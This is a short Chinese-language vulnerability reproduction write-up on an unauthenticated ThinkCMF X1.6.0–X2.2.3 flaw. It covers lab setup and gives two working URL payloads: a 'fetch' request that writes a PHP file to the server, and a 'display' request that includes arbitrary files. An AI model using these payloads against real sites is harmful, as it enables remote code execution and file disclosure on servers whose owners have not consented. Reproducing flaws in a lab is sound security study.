1. 漏洞概述

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。

利用此漏洞无需任何权限情况下,构造恶意的url,可以向服务器写入任意内容的文件,实现远程代码执行

2.影响范围

     ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

3.复现

环境搭建

我用的是phpstudy搭建ThinkCMF X2.2.3 

要用nginx,不然提示没有权限

ThinkCMF框架任意内容包含漏洞复现-LMLPHP

根据安装向导安装即可

ThinkCMF框架任意内容包含漏洞复现-LMLPHP

4.漏洞利用

方法一:

通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件

phpinfo版payload如下:

 ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

利用结果

ThinkCMF框架任意内容包含漏洞复现-LMLPHP

访问写入的文件

ThinkCMF框架任意内容包含漏洞复现-LMLPHP

第二种

通过构造a参数的display方法,实现任意内容包含漏洞

payload:

 ?a=display&templateFile=README.md

ThinkCMF框架任意内容包含漏洞复现-LMLPHP

参考文章:

https://www.freebuf.com/vuls/217586.html

05-11 18:07